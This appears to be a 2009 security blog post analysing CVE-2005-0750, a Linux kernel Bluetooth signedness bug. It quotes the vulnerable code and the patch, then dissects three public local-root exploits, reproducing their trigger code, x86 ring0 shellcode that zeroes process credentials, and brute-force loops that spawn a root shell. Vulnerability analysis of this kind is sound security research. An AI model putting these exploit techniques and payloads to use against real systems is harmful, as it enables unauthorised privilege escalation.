xorl %eax, %eax

CVE-2005-0750: Linux kernel Bluetooth Signedness Issue

leave a comment »

This old but cool bug was discovered by Ilja van Sprundel and disclosed on March 2005. As we can read in the original CVE ID, the bug affects Linux kernel 2.4.6 through 2.4.30-rc1 and 2.6 through 2.6.11.5. The following code is part of 2.6.11 release of the Linux kernel.

/* Bluetooth sockets */
#define BT_MAX_PROTO    8
static struct net_proto_family *bt_proto[BT_MAX_PROTO];

static kmem_cache_t *bt_sock_cache;

int bt_sock_register(int proto, struct net_proto_family *ops)
{
        if (proto >= BT_MAX_PROTO)
                return -EINVAL;

        if (bt_proto[proto])
                return -EEXIST;

        bt_proto[proto] = ops;
        return 0;
}
EXPORT_SYMBOL(bt_sock_register);

This routine which is used to register a Bluetooth socket can be found at net/bluetooth/af_bluetooth.c and its first argument is the third argument of socket(2) system call which represents the protocol number. The bug is quite obvious, ‘proto’ is of signed integer type and it is only checked against BT_MAX_PROTO which is just 8. This means, that a user could specify a negative integer as protocol number and thus perform an out of bounds access since this is used as an index to bt_proto[] array that contains the Bluetooth protocols. The exact same vulnerability was also present at the following routines:

int bt_sock_unregister(int proto)
{
        if (proto >= BT_MAX_PROTO)
                return -EINVAL;

        if (!bt_proto[proto])
                return -ENOENT;

        bt_proto[proto] = NULL;
        return 0;
}
EXPORT_SYMBOL(bt_sock_unregister);

Which is used to un-register a Bluetooth socket as its name implies, and finally…

static int bt_sock_create(struct socket *sock, int proto)
{
        int err = 0;

        if (proto >= BT_MAX_PROTO)
                return -EINVAL;

#if defined(CONFIG_KMOD)
        if (!bt_proto[proto]) {
                request_module("bt-proto-%d", proto);
        }
#endif
        err = -EPROTONOSUPPORT;
        if (bt_proto[proto] && try_module_get(bt_proto[proto]->owner)) {
                err = bt_proto[proto]->create(sock, proto);
                module_put(bt_proto[proto]->owner);
        }
        return err;
}

This was fixed in 2.6.11.6 as we can read in its ChangeLog. It is also quite funny that this cool (quite easily exploitable) local root vulnerability in the ChangeLog file was written as:

This patch fixes a small signedness problem when creating the
socket.

Anyhow, the patch was similar to all of the three vulnerable routines. It was this:

-        if (proto >= BT_MAX_PROTO)
+        if (proto < 0 || proto >= BT_MAX_PROTO)
                 return -EINVAL;

In order to check for negative values as well. I guess changing ‘proto’ from ‘int’ to ‘unsigned int’ was not an option. And now the cool part. The exploitation.
The first PoC trigger code was fairly simple knowing all of the above… and it was released by Kevin Finisterre. It was just this:

#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

main()
{
        int ctl;

        /* Open HCI socket  */
        if ((ctl = socket(AF_BLUETOOTH, SOCK_RAW, -1111)) < 0)
        {
                perror("Can't open HCI socket.");
                exit(1);
        }
}
&#91;/sourcecode&#93;

No need to explain anything. Just a socket creation with negative protocol number in order to access bt_proto&#91;-1111&#93; element. <a href="http://downloads.securityfocus.com/vulnerabilities/exploits/ong_bak.c">An exploit</a> was released by qobaiashi. According to the comments, it was written during April 2005 and it was the 0.3 version. Let's have a look at this one. First of all, it was doing some simple kernel release check using uname(2) system call like this:


main(int argc, char *argv[])
{
char buf[2048];
int sock, *mod = (int*)buf;
unsigned int arg;
int tmp;
char *check, *ong_code = 0;
struct utsname vers;

printf("-|-local bluez exploit v.0.3  -by qobaiashi-\n |\n");
if (uname(&vers) < 0)
   printf(" |- couldn't determine kernel version\n");

else
   {
    printf(" |- i've found kernel %s\n", vers.release);
    if(strstr(vers.release, "2.6.11") > 0) ong_code = k_give_root2;
    if(strstr(vers.release, "2.6.4")  > 0) ong_code = k_give_root;
   }

if (ong_code == 0)
   {
    printf(" |- no supported version found..trying 2.6.4 code\n");
    ong_code = k_give_root;
    }

After selecting ‘k_give_root’ or ‘k_give_root’ depending on the kernel version, he sets the process’ data segment end using brk(2) system call to 0x0cec9000 like this:

#define BRKVAL 0x0cec9000 //should be enough but fix it if you get an error
   ...
if( brk((void*)BRKVAL) == -1 )
  {
    printf(" |- brk failed..exiting\n");
    exit(1);
   }

Next, depending on the user arguments, he initializes ‘arg’ and ‘mod’ like this:

if (argc < 2)
   {
    usage(argv&#91;0&#93;);
    exit(1);
    }

if (argc == 2)
    arg = strtoul(argv&#91;1&#93;, 0, 0);

if (argc == 3)
   {
    arg = strtoul(argv&#91;1&#93;, 0, 0);
    mod = (unsigned int*)strtoul(argv&#91;2&#93;, 0, 0);
   }
&#91;/sourcecode&#93;

Since this exploit might OOPS the kernel several times before succeeding, he spawns a child process that performs the exploitation and leaves the parent watching for kernel OOPS like this:

&#91;sourcecode language="c"&#93;
if (fork() != 0)//parent watch the Oops
   {
    //previous Oops printing
   usleep(100);
   if ((tmp = klogctl(0x3, buf, 1700)) > -1)
       {
        check = strstr(buf, "ecx: ");
        printf(" |- [%0.14s]\n", check);

As you can see, he uses klogctl(3) function to read 1700 bytes from kernel’s log (option 0x3) and store them into ‘buf’. He finds ECX’s value from the OOPS and prints it out. The parent code continues like this:

        if (*(check+5) == 0x30 && *(check+6) == 0x38)
           {  
           check+=5;
           printf(" |- suitable value found!using 0x%0.9s\n", check);
           printf(" |- the time has come to push the button... check your id!\n");
           *(check+9) = 0x00;*(--check) = 'x';*(--check) = '0';
           mod = (unsigned int*)strtoul(check, 0, 0);
           for (sock = 0;sock <= 200;sock++)
                *(mod++) = (int)ong_code;//link to shellcode
&#91;/sourcecode&#93;

If from an offset of 5 of local variable 'check' is hex value 0x30 and the next one is 0x38, then this means that ECX (which is the proto integer in kernel space) points to a location in our space in userland. He increments 'check' to point to the location that ECX points and informs the user that he found the offset. Since bt_proto&#91;&#93; uses a net_proto_family structure that contains the following members:

&#91;sourcecode language="c"&#93;
struct net_proto_family {
        int             family;
        int             (*create)(struct socket *sock, int protocol);
        /* These are counters for the number of different methods of
           each we support */
        short           authentication;
        short           encryption;
        short           encrypt_net;
        struct module   *owner;
};
&#91;/sourcecode&#93;

An attacker can utilize bt_proto&#91;&#93;-&gt;create function pointer. This is what he does after saving the location of 'check' to variable 'mod' and then filling that variable pointing to bt_proto&#91;&#93;-&gt;create function with 'ong_code' shellcode. After doing this, he simply attempts to create a bluetooth socket in order to trigger the kernel into executing bt_proto&#91;mod&#93;-&gt;create which points to 'ong_code' shellcode like this:

&#91;sourcecode language="c"&#93;
           if ((sock = socket(AF_BLUETOOTH, SOCK_RAW, arg)) < 0)
               {
                printf(" |- something went w0rng (invalid value)\n");
                exit(1);
               }
            
           }    
        }
   return 0;
   }
&#91;/sourcecode&#93;

Now, if we move to the child process we'll see that it is a dummy call that would almost certainly fail unless you got the correct 'proto' offset in the first shot.

&#91;sourcecode language="c"&#93;
if (fork() == 0)//child does the exploit
{
  for (sock = 0;sock <= 200;sock++)
     *(mod++) = (int)ong_code;//link to shellcode

  printf(" |- trying...\n");
  if ((sock = socket(AF_BLUETOOTH, SOCK_RAW, arg)) < 0)
      {
      printf(" |- something went w0rng (invalid value)\n");
      exit(1);
     }
}

exit(0);
}
&#91;/sourcecode&#93;

qobaiashi provides some values in the usage() routine that could help in one-shot privilege escalation. Those are...

&#91;sourcecode language="c"&#93;
/*****************\
|**    usage    **|
\*****************/
void usage(char *path)
{
printf(" |----------------------------\n");
printf(" | usage: %s <negative value> \n", path);
printf(" | tested:\n");
printf(" | SuSE 9.1:      -10023411  \n");
printf(" |                -10029 \n");
printf(" | Kernel 2.6.11: -10023 \n");
exit(0);
}

So… the shellcode… The first one, tested on 2.6.5 as he states is this one:

//due to changing task_structs we need different offsets
char k_give_root[] =  //----[ give root in ring0/tested on linux2.6.5/x86/ by -q ]-----\\
"\x90\x90\x90\x90"    
"\x90\x90\x90\x90"
"\x31\xc0"                        // xor    %eax,%eax
"\xb8\x00\xe0\xff\xff"            // mov    $0xffffe000,%eax
"\x21\xe0"                        // and    %esp,%eax
"\x8b\x00"                        // mov    (%eax),%eax
"\x8b\x80\xa4\x00\x00\x00"        // mov    0xa4(%eax),%eax
"\xc7\x80\xf0\x01\x00\x00\x00"    // movl   $0x0,0x1f0(%eax)
"\x00\x00\x00"
"\xc7\x80\xf4\x01\x00\x00\x00"    // movl   $0x0,0x1f4(%eax)
"\x00\x00\x00"
"\xc7\x80\x00\x02\x00\x00\x00"    // movl   $0x0,0x200(%eax)
"\x00\x00\x00"
"\xc7\x80\x04\x02\x00\x00\x00"    // movl   $0x0,0x204(%eax)
"\x00\x00\x00"
"\x31\xc0"                        // xor    %eax,%eax
"\x40"                            // inc    %eax
"\xcd\x80"                        // int    $0x80
;

Basically what it does find our task_struct from kernel’s stack using ESP and 0xffffe000 and then simply replace values at offsets 0x1f0(%eax), 0x1f4(%eax), $0x0,0x200(%eax) and 0x204(%eax) with zero. Finally, do an exit() system call (since it has system call number 1). As you may have guessed, those offsets are 4 bytes each. This happens because those are simply…

struct task_struct {
    ...
/* process credentials */
        uid_t uid,euid,suid,fsuid;
    ...
};

From include/linux/sched.h header file. So, those are setting the user credentials of the parent process to 0. The exact same happens on the other code as well. As qobaiashi says there was just some difference between the releases and consequently the offsets in task_struct were not the same. This was:

char k_give_root2[] =  //----[ give root in ring0/tested linux2.6.11/x86/ by -q ]-----\\
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x31\xc0"                        // xor    %eax,%eax
"\xb8\x00\xe0\xff\xff"            // mov    $0xffffe000,%eax
"\x21\xe0"                        // and    %esp,%eax
"\x8b\x00"                        // mov    (%eax),%eax
"\x8b\x80\x9c\x00\x00\x00"        // mov    0x9c(%eax),%eax
"\xc7\x80\x68\x01\x00\x00\x00"    // movl   $0x0,0x168(%eax)
"\x00\x00\x00"
"\xc7\x80\x78\x01\x00\x00\x00"    // movl   $0x0,0x178(%eax)
"\x00\x00\x00"
"\xc7\x80\x6c\x01\x00\x00\x00"    // movl   $0x0,0x16c(%eax)
"\x00\x00\x00"
"\xc7\x80\x7c\x01\x00\x00\x00"    // movl   $0x0,0x17c(%eax)
"\x00\x00\x00"
"\x31\xc0"                        // xor    %eax,%eax
"\x40"                            // inc    %eax
"\xcd\x80"                        // int    $0x80
;

So, the goal is to find the location of create callback function and put the shellcode there. Then simply request the kernel for creating a bluetooth socket to execute your code. Later on, he released the 0.9 version of this exploit. This is a more reliable code that during the parent’s process execution he does this:

        //page align FIXME: might be booggy
        int *ecx = mod;
        mod = (int)mod &~ 0x00000fff;
        linker = 
mmap((void*)mod,0x2000,PROT_WRITE|PROT_READ,MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED,0,0);
        if(linker == mod)//we could mmap the area
          {
           printf(" |- suitable value found!using %p\n", mod);
           printf(" |- the time has come to push the button... \n");
           for (sock = 0;sock <= 1;sock++)          //use ecx
                *(ecx++) = (int)&load_highlevel;   //link to shellcode
           }

           else 
             {
              printf(" |- could not mmap   %p\n", mod);
              if( brk((void*)mod+0x200 ) == -1)
                {
                 printf(" |- could not brk to %p\n", mod);
                 printf(" `-------------------------------\n");
                 exit(-1);
                 }
              //here we did it
              printf(" |- suitable value found!using %p\n", mod);
              printf(" |- the time has come to push the button... \n");
              for (sock = 0;sock <= 1;sock++)          //use ecx
                  *(ecx++) = (int)&load_highlevel;    //link to shellcode

              }
&#91;/sourcecode&#93;

As you can see, he maps the location of 'mod' offset which is giving him more options to configure it, and then he fills that location with the 'load_highlevel' which is a shellcode written in assembly instead of machine code like the one in the first exploit. If the mapping fails, it extends the data segment limit using brk(2) system call and re-attempts. The new shellcode is a trampoline code.

&#91;sourcecode language="c"&#93;
extern load_highlevel;
__asm__
(
"load_highlevel:         \n"
"xor    %eax, %eax       \n"
"mov    $0xffffe000, %eax\n"
"and    %esp,%eax        \n"
"pushl  %eax             \n"
"call   set_root         \n"
"pop    %eax             \n"
//ret to userspace-2.6.* version
" cli                    \n"
" pushl $0x7b            \n"      //DS user selector
" pop   %ds              \n"
" pushl %ds              \n"      //SS
" pushl $0xc0000000      \n"      //ESP
" pushl $0x246           \n"      //EFLAGS
" pushl $0x73            \n"      //CS user selector
" pushl $shellcode       \n"      //EIP must not be a push /bin/sh shellcode!!
"iret                    \n"
);
&#91;/sourcecode&#93;

Here, it finds the task_struct in kernel stack using the same technique but instead of directly filling the credentials' members using mov instructions, he calls set_root(). This is a simple routine written in C which makes the shellcode extremely generic.

&#91;sourcecode language="c"&#93;
void set_root(unsigned int *ts)
{
ts = (int*)*ts;
int cntr;
//hope you guys are int aligned
for(cntr = 0; cntr <= 512; cntr++, ts++)
    if( ts&#91;0&#93; == uid && ts&#91;1&#93; == uid && ts&#91;4&#93; == gid && ts&#91;5&#93; == gid)
      ts&#91;0&#93; = ts&#91;1&#93; = ts&#91;4&#93; = ts&#91;5&#93; = 0;

}
&#91;/sourcecode&#93;

He simply locates his UID and GID in task_struct and sets them to zero. Back to 'load_highlevel', it restores the pushed EAX, then sets DS, SS, CS segment selectors as well as EFLAGS register and EIP to point to another C routine named shellcode() and executes an interrupt return instruction.

&#91;sourcecode language="c"&#93;
void shellcode()
{
system("/bin/sh");
exit(0);
}
&#91;/sourcecode&#93;

Using iret he returns from kernel context of execution clearly and it is really neat in my opinion. So, those were the two exploit codes released by qobaiashi for this vulnerability. 
Another one <a href="http://milw0rm.com/exploits/4756">was released by backdoored.net</a>. This one begins by initializing a net_proto_family structure in the main() function like this:


int main(void)
{

pid_t pid;
int counter;
int status;
int *kernel_return;

char kernel_buffer[KERNEL_SPACE_BUFFER];
unsigned int brute_start;
unsigned int where_kernel;

struct net_proto_family *bluetooth;

bluetooth = (struct net_proto_family *) malloc(sizeof(struct net_proto_family));
bzero(bluetooth,sizeof(struct net_proto_family));

bluetooth->family = AF_BLUETOOTH;
bluetooth->authentication = 0x0;  /* No Authentication */
bluetooth->encryption     = 0x0; /* No Encryption */
bluetooth->encrypt_net    = 0x0;  /* No Encrypt_net */
bluetooth->owner          = 0x0;  /* No fucking owner   */
bluetooth->create         = (int *) asmcode;

The ‘asmcode’ is a shellcode written in machine code which basically what it does is:

mov eax,0xfffff000
xor ecx,ecx
and eax,esp
mov edx,[eax]
[edx+0x180],ecx
xor ecx,ecx
mov [edx+0x17c],ecx
mov eax,[eax]
xor ecx,ecx
xor edx,edx
mov [eax+0x190],ecx
mov [eax+0x18c],edx
mov eax,0xffffffff
ret

That’s the same approach of finding task_struct and setting credentials to zero through the zeroed out ECX in this case. Finally, returning using ret instruction. Back to the main()’s code we can see this:

kernel_return = (int *) kernel_buffer;

for( counter = 0; counter < KERNEL_SPACE_BUFFER; counter+=4, kernel_return++) *kernel_return = (int)bluetooth; brute_start = KERNEL_SPACE_MEMORY_BRUTE_START; printf("Bluetooth stack local root exploit\n"); printf("http://backdoored/net"); [/sourcecode] They set 'kernel_return' pointer to the location of 'kernel_buffer' and then they fill this buffer with 'bluetooth' net_proto_family structure. At last, 'brute_start' is set to 0xc0000000 which is the beginning address of kernel space address space. The last part of main() is: [sourcecode language="c"] while ( brute_start < KERNEL_SPACE_MEMORY_BRUTE_END ) { where_kernel = (brute_start - (unsigned int)&kernel_buffer) / 0x4 ; where_kernel = -where_kernel; pid = fork(); if(pid == 0 ) brute_socket_create(where_kernel); check_zombie_child(status,pid); brute_start += KERNEL_SPACE_BUFFER; fflush(stdout); } return 0; } [/sourcecode] This is a simple scan/brute-force loop which will iterate until 'brute_start' reaches 0xffffffff which is the highest kernel space address. On each iteration, 'brute_start' is incremented by 0x100000 but before this, an attempt to find the location of 'bluetooth' structure filled in 'kernel_buffer' takes place. It calculates its possible offset and stores it into 'where_kernel', after that it spawns a new process and invokes brute_socket_create() with that location. [sourcecode language="c"] int brute_socket_create (int negative_proto_number) { socket(AF_BLUETOOTH,SOCK_RAW, negative_proto_number); /* overflowing proto number with negative 32bit value */ int i; i = geteuid(); printf("Checking the Effective user id after overflow : UID = %d\n",i); if(i) exit(EXIT_FAILURE); printf("0wnage D0ne bro.\n"); execl("/bin/sh","sh",NULL); exit(EXIT_SUCCESS); } [/sourcecode] This function simply attempts to create a bluetooth socket using the 'negative_proto_number' passed to it as an argument. If geteuid() returns a non-zero EUID it will exit() and return to the bruteforce loop. Otherwise, (got root) it will spawn a /bin/sh shell. Back to the while loop, we can see that after this attempt it calls check_zombie_child(). [sourcecode language="c"] int check_zombie_child(int status,pid_t pid) { waitpid(pid,&status,0); if(WIFEXITED(status)) { if(WEXITSTATUS(status) != 0xFF) exit(-1); } else if (WIFSIGNALED(status)) { printf("KERNEL Oops. Exit Code = %d.(%s)\n",WTERMSIG(status),strsignal(WTERMSIG(status))); return(WTERMSIG(status)); } } [/sourcecode] This checks for kernel OOPS in the child process that attempted to create the bluetooth socket. This loop will scan the entire kernel address space to find the evil net_proto_family and then create a socket which will execute bt_proto[where_kernel]->create. This is the location of 'asmcode'. :) Nice bug.

Written by xorl

August 9, 2009 at 19:32

Posted in bugs, linux

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s